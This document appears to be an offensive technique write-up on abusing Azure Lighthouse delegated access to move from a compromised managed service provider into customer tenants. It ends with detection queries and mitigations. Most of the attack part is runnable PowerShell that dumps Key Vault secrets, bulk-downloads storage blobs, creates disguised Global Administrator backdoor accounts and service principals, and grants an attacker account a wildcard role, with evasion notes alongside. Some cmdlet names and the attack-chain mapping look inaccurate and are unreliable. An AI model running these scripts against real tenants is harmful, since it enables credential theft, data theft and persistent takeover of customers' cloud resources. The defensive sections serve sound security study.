| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-021 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Privilege Escalation |
| Platforms | Entra ID (Azure Lighthouse, Delegated Access Management) |
| Severity | High |
| CVE | N/A (Architectural design pattern, not a vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure Lighthouse versions; Entra ID all versions; affects all customer tenants with delegated access enabled |
| Patched In | No patch available; requires architectural remediation and policy enforcement |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Lighthouse is a Microsoft service that enables service providers (e.g., MSSPs, managed service providers) to manage customer Azure subscriptions and Entra ID resources via delegated access. An attacker who compromises a service provider account (or the service provider’s Entra ID tenant itself) can abuse Azure Lighthouse delegated access to move laterally into customer tenants, gaining access to customer Azure resources, M365 services, and sensitive data. The attack exploits the trust relationship between the service provider and customer tenants; once a customer delegates access to the service provider via Azure Lighthouse, that delegation persists until explicitly revoked.
Attack Surface: The attack surface includes: (1) Service provider Entra ID accounts that hold delegated access to customer subscriptions, (2) Azure Lighthouse delegated access grants that extend across tenant boundaries, (3) Cross-tenant access policies that allow service provider accounts to perform actions in customer tenants, and (4) The lack of per-action authorization checks within delegated access scopes.
Business Impact: An attacker with Azure Lighthouse delegated access can: (1) Create rogue admin accounts in customer tenants, (2) Access all Azure resources (VMs, databases, storage) within delegated subscriptions, (3) Steal credentials and secrets stored in Key Vaults, (4) Access customer M365 data via delegated Graph API permissions, and (5) Create persistent backdoors that survive detection of the initial compromise. This enables complete takeover of customer resources and data.
Technical Context: Lateral movement via Azure Lighthouse typically takes 5-15 minutes once a service provider account is compromised. The attack is difficult to detect because delegated access is by design meant to appear as legitimate service provider activity. Detection requires analyzing Entra ID audit logs for unusual access patterns or new delegations.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.1, 1.2.3 | CIS Azure: Restrict privileged role assignments; audit external access. |
| DISA STIG | APP0320.1 | Control third-party access to cloud resources; implement MFA and monitoring. |
| CISA SCuBA | M365-DO-1.2, M365-DO-1.3 | Defender & Oversight: Monitor delegated access; enforce MFA for service providers. |
| NIST 800-53 | AC-2, AC-3, AC-6, IA-2 | Account Management, Access Enforcement, Least Privilege, Authentication. |
| GDPR | Art. 28, Art. 32 | Processor Agreements; Security of Processing – Protect customer data from service provider compromise. |
| DORA | Art. 9, Art. 16 | Protection; Third-Party Risk Management – Audit and control service provider access. |
| NIS2 | Art. 21, Art. 24 | Cyber Risk Management; Supply Chain Security – Monitor third-party service provider access. |
| ISO 27001 | A.6.2.1, A.8.1.1, A.9.2.1 | Control of Internal Resources; Third-Party Relationships; Privileged Access Management. |
| ISO 27005 | Risk Scenario: “Service provider account compromise” | Lateral movement and data breach via delegated access. |
Supported Versions:
Tools:
# Authenticate as service provider account
Connect-AzAccount -Credential $ServiceProviderCreds
# List all delegated subscriptions accessible to the service provider account
Get-AzSubscription | Select-Object Id, Name, TenantId
# List all delegated management groups
Get-AzManagementGroup | Select-Object Id, DisplayName
# Enumerate delegated access grants
Get-AzRoleAssignment -Scope "/subscriptions/{subscriptionId}" | Select-Object RoleDefinitionName, PrincipalName, Scope
# Check for Lighthouse delegations (customer resources accessible to service provider)
Get-AzLighthouseDelegation | Select-Object Name, CustomerId, AccessRole
What to Look For:
# Switch to delegated customer tenant context
Set-AzContext -SubscriptionId "<CUSTOMER-SUBSCRIPTION-ID>"
# Enumerate customer resources accessible via delegation
Get-AzResource | Select-Object ResourceGroupName, Name, Type
# Check Key Vaults in customer subscription
Get-AzKeyVault | Select-Object VaultName
# Enumerate Key Vault secrets
Get-AzKeyVaultSecret -VaultName "<VAULT-NAME>" | Select-Object Name
# List storage accounts and access keys
Get-AzStorageAccount | Select-Object StorageAccountName, ResourceGroupName
# Get storage account keys
Get-AzStorageAccountKey -ResourceGroupName "<RG>" -Name "<STORAGE-ACCOUNT>" | Select-Object Value
Supported Versions: All Azure Lighthouse versions
Objective: Obtain valid credentials for a service provider account (obtained via phishing, credential theft, or insider threat).
Command:
# Obtain credentials (via phishing or insider)
$ServiceProviderUPN = "sp-admin@mssp-provider.com"
$ServiceProviderPassword = "stolen-password-123!"
# Create credential object
$Credential = New-Object System.Management.Automation.PSCredential(
$ServiceProviderUPN,
($ServiceProviderPassword | ConvertTo-SecureString -AsPlainText -Force)
)
# Authenticate to Azure as service provider
Connect-AzAccount -Credential $Credential
# Verify authentication
(Get-AzContext).Account
Expected Output:
Account : sp-admin@mssp-provider.com
TenantId : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (Service Provider's tenant)
Subscription : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
What This Means:
OpSec & Evasion:
Remove-Item -Path $PROFILETroubleshooting:
Objective: Identify which customer subscriptions the compromised service provider account can access.
Command:
# List all subscriptions accessible to the service provider account
$Subscriptions = Get-AzSubscription
Write-Host "Accessible Subscriptions:"
foreach ($sub in $Subscriptions) {
Write-Host " - $($sub.Name) (ID: $($sub.Id), Tenant: $($sub.TenantId))"
}
# List Azure Lighthouse delegations for detailed visibility
$Delegations = Get-AzLighthouseDelegation
Write-Host "`nLighthouse Delegations:"
foreach ($delegation in $Delegations) {
Write-Host " - $($delegation.Name)"
Write-Host " Customer ID: $($delegation.ManagedByTenantId)"
Write-Host " Access: $($delegation.AccessRole)"
}
Expected Output:
Accessible Subscriptions:
- Customer-ACME-Corp-Prod (ID: 12345678-1234-1234-1234-123456789012, Tenant: customer-acme-tenant)
- Customer-Contoso-Dev (ID: 87654321-4321-4321-4321-210987654321, Tenant: customer-contoso-tenant)
Lighthouse Delegations:
- ACME Corp Production Delegation
Customer ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Access: Contributor
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use delegated access to access customer resources (Key Vaults, storage, databases) and steal sensitive data.
Command:
# Select target customer subscription
Set-AzContext -SubscriptionId "12345678-1234-1234-1234-123456789012"
# Enumerate Key Vaults in customer subscription
$VaultName = "customer-keyvault-prod"
$Vault = Get-AzKeyVault -VaultName $VaultName
Write-Host "Key Vault: $($Vault.VaultName)"
Write-Host "Location: $($Vault.Location)"
Write-Host "Resource Group: $($Vault.ResourceGroupName)"
# Extract secrets from Key Vault (attacker has Contributor role)
$Secrets = Get-AzKeyVaultSecret -VaultName $VaultName
Write-Host "`nSecrets in Key Vault:"
foreach ($secret in $Secrets) {
$secretValue = Get-AzKeyVaultSecret -VaultName $VaultName -Name $secret.Name -AsPlainText
Write-Host " - $($secret.Name): $($secretValue.Substring(0, 20))..."
# Export secrets to attacker-controlled location
Add-Content -Path "C:\Temp\stolen_secrets.txt" -Value "$($secret.Name)=$secretValue"
}
# Access storage account and download data
$StorageAccount = Get-AzStorageAccount | Select-Object -First 1
$StorageAccountName = $StorageAccount.StorageAccountName
$StorageKey = (Get-AzStorageAccountKey -ResourceGroupName $StorageAccount.ResourceGroupName -Name $StorageAccountName)[0].Value
$Context = New-AzStorageContext -StorageAccountName $StorageAccountName -StorageAccountKey $StorageKey
# List containers
$Containers = Get-AzStorageContainer -Context $Context
Write-Host "`nStorage Containers:"
foreach ($container in $Containers) {
Write-Host " - $($container.Name)"
# Download all blobs from container
Get-AzStorageBlob -Container $container.Name -Context $Context | Get-AzStorageBlobContent -Destination "C:\Temp\customer_data\" -Force
}
Expected Output:
Key Vault: customer-keyvault-prod
Location: eastus
Resource Group: customer-rg-prod
Secrets in Key Vault:
- db-password: P@ssw0rd1234567890...
- api-key: sk_live_51234567890...
- client-secret: 9f8d7c6b5a4...
Storage Containers:
- customer-backups
- customer-logs
- customer-sensitive-data
Downloaded 347 blobs to C:\Temp\customer_data\
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Create a hidden admin account in the customer tenant to maintain persistent access independent of Azure Lighthouse delegation.
Command:
# Connect to customer tenant's Entra ID using delegated access
Connect-MgGraph -Scopes "Directory.ReadWrite.All", "Application.ReadWrite.All" -TenantId "<CUSTOMER-TENANT-ID>"
# Create backdoor user account
$NewUser = New-MgUser -DisplayName "Cloud Operations Support" `
-MailNickname "cloudops-support" `
-UserPrincipalName "cloudops-support@customer-contoso.onmicrosoft.com" `
-PasswordProfile @{ ForceChangePasswordNextSignIn = $false; Password = "P@ssw0rdB@ckd00r1!" } `
-AccountEnabled $true
Write-Host "Backdoor user created: $($NewUser.Id)"
# Assign Global Administrator role to backdoor account
$RoleId = (Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'").Id
$PrincipalId = $NewUser.Id
New-MgDirectoryRoleMember -DirectoryRoleId $RoleId -DirectoryObjectId $PrincipalId
Write-Host "Backdoor account granted Global Administrator role"
# Create service principal with permanent credentials for API access
$AppRegistration = New-MgApplication -DisplayName "Cloud Management Suite" `
-PublicClient @{ RedirectUris = @("https://localhost") }
$ServicePrincipal = New-MgServicePrincipal -AppId $AppRegistration.AppId
# Create certificate credential (non-expiring)
$KeyCredential = Add-MgApplicationKey -ApplicationId $AppRegistration.Id `
-KeyDisplayName "Permanent API Access Key" `
-StartDateTime (Get-Date)
Write-Host "Service Principal created: $($ServicePrincipal.Id)"
Write-Host "Certificate Key ID: $($KeyCredential.KeyId)"
# Assign admin roles to service principal
New-MgDirectoryRoleMember -DirectoryRoleId $RoleId -DirectoryObjectId $ServicePrincipal.Id
Write-Host "Service Principal granted Global Administrator role"
Expected Output:
Backdoor user created: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Backdoor account granted Global Administrator role
Service Principal created: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
Certificate Key ID: zzzzzzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz
Service Principal granted Global Administrator role
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All Azure Lighthouse versions
Objective: Identify customer tenants with overly permissive cross-tenant access policies.
Command:
# List cross-tenant access policies configured in customer tenants
Get-AzADCrossTenantAccessPolicy | Select-Object CustomerId, AccessLevel, MfaRequired
# Find policies that allow access without MFA
$PoliciesWithoutMFA = Get-AzADCrossTenantAccessPolicy | Where-Object {$_.MfaRequired -eq $false}
Write-Host "Tenants allowing access without MFA:"
foreach ($policy in $PoliciesWithoutMFA) {
Write-Host " - Customer ID: $($policy.CustomerId)"
Write-Host " Access Level: $($policy.AccessLevel)"
Write-Host " MFA Required: $($policy.MfaRequired)"
}
Expected Output:
Tenants allowing access without MFA:
- Customer ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Access Level: Full Access
MFA Required: False
What This Means:
Objective: Use the misconfigured policy to gain high-privilege access without MFA checks.
Command:
# Authenticate using stolen credentials without MFA
Connect-AzAccount -Credential $StolenServiceProviderCreds -SkipContextPopulation
# Switch to customer subscription
Set-AzContext -SubscriptionId "<CUSTOMER-SUBSCRIPTION>"
# Perform privileged operations (no MFA required due to policy misconfiguration)
$CustomRole = New-AzRoleDefinition -InputObject @{
Name = "Super Admin"
Description = "Unrestricted access"
Type = "CustomRole"
Actions = @("*")
NotActions = @()
AssignableScopes = @("/subscriptions/<CUSTOMER-SUBSCRIPTION>")
}
# Assign custom role to attacker-controlled account
New-AzRoleAssignment -Scope "/subscriptions/<CUSTOMER-SUBSCRIPTION>" `
-RoleDefinitionName "Super Admin" `
-SignInName "attacker@attacker-domain.com"
Write-Host "Attacker account assigned Super Admin custom role"
What This Means:
Version: 2.50.0+ Supported Platforms: Windows, macOS, Linux
Installation:
# macOS
brew install azure-cli
# Windows PowerShell
choco install azure-cli
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Key Commands for Lighthouse:
# Login as service provider
az login --username sp-admin@mssp.com
# List accessible subscriptions
az account list
# Switch context
az account set --subscription "<SUBSCRIPTION-ID>"
# List Lighthouse delegations
az managedservices assignment list
# Access customer resources
az vm list --resource-group "<CUSTOMER-RG>"
Version: 10.0.0+ Supported Platforms: Windows, macOS, Linux (with PowerShell 7+)
Installation:
Install-Module -Name Az -Scope CurrentUser -Force
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName contains "Lighthouse" or OperationName contains "delegat"
| where Result == "Success"
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), TargetResources
| summarize Count=count() by InitiatedBy, TimeGenerated
| where Count >= 2
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Add user" or OperationName == "Invite external user"
| where InitiatedByUser.userPrincipalName contains "@mssp" or InitiatedByUser.userPrincipalName contains "@serviceprovider"
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), NewUser=TargetResources[0].displayName, UserRole=TargetResources[0].modifiedProperties[0].newValue
| where UserRole contains "Global Administrator" or UserRole contains "Privileged Role Administrator"
What This Detects:
Implement Regular Lighthouse Delegation Audits: Regularly review and validate Azure Lighthouse delegations.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Export all delegations for review
Get-AzLighthouseDelegation | Export-Csv -Path "C:\Audit\Lighthouse_Delegations.csv"
Enforce MFA for Service Provider Accounts: Require MFA for all service provider accounts accessing customer subscriptions.
Manual Steps (Entra ID Conditional Access - Service Provider Tenant):
Enforce MFA for Cross-Tenant AccessRestrict Lighthouse Delegation Scope: Limit delegated access to specific management groups or subscriptions; never delegate root management group.
Manual Steps (Azure Portal - Customer Tenant):
Monitor Delegated Access Activity: Enable detailed audit logging for all Lighthouse operations.
Manual Steps (Azure Monitor - Customer Tenant):
Implement Zero-Trust Principles for Service Providers: Use Conditional Access to require device compliance and risk assessment for service provider access.
Manual Steps (Entra ID):
Service Provider Zero Trust# Check all Lighthouse delegations
Get-AzLighthouseDelegation | Select-Object Name, AccessRole, ManagedByTenantId
# Verify MFA is required for service provider accounts
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.Conditions.Users.IncludeUsers -contains "ServiceProviderGroup"}
# Check delegated scope (should not include root management group)
Get-AzManagementGroupDeployment | Select-Object DeploymentName, Scope
Expected Output (If Secure):
Name AccessRole ManagedByTenantId
---- ---------- -----------------
ACME Delegation Contributor xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Contoso Delegation Reader yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
(Conditional Access policies requiring MFA should be listed)
Scope: /subscriptions/<specific-subscription-id> (NOT root management group)
Azure / Cloud Logs:
Entra ID:
Cloud Logs:
Isolate:
Command (Revoke delegated access immediately):
# Remove Azure Lighthouse delegation
Remove-AzManagedServicesAssignment -Id "<DELEGATION-ID>"
# Disable service provider accounts
Disable-AzADUser -ObjectId "<SERVICE-PROVIDER-ACCOUNT-ID>"
Collect Evidence:
Command:
# Export all Lighthouse delegations
Get-AzLighthouseDelegation | Export-Csv -Path "C:\Evidence\Lighthouse_Delegations.csv"
# Export user accounts created by service provider
Get-AzADUser -Filter "createdDateTime gt '$((Get-Date).AddDays(-7))'" | Export-Csv -Path "C:\Evidence\Recent_Users.csv"
Remediate:
Command:
# Delete backdoor user accounts
Remove-AzADUser -ObjectId "<BACKDOOR-USER-ID>"
# Remove malicious role assignments
Remove-AzRoleAssignment -Scope "/subscriptions/<SUBSCRIPTION>" -RoleDefinitionName "Owner" -SignInName "attacker@domain.com"
# Reset all credentials in affected Key Vaults
Get-AzKeyVaultSecret -VaultName "<VAULT>" | % { Remove-AzKeyVaultSecret -VaultName "<VAULT>" -Name $_.Name -Force }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device code phishing attacks | Attacker phishes a service provider administrator. |
| 2 | Credential Access | [CA-TOKEN-004] Graph API token theft | Attacker steals service provider account credentials. |
| 3 | Lateral Movement | [LM-AUTH-021] | Attacker uses compromised service provider account to access multiple customer tenants via Azure Lighthouse. |
| 4 | Persistence | [PERSIST-ACCT-001] AdminSDHolder Abuse | Attacker creates backdoor admin accounts in each customer tenant. |
| 5 | Impact | Data exfiltration from customer subscriptions | Attacker steals customer data and credentials. |
Azure Lighthouse cross-tenant lateral movement represents a significant risk in managed service provider relationships. A compromised service provider account can be leveraged to access and compromise multiple customer tenants simultaneously. Organizations must implement strict access controls, comprehensive auditing, and regular delegation reviews to mitigate this risk.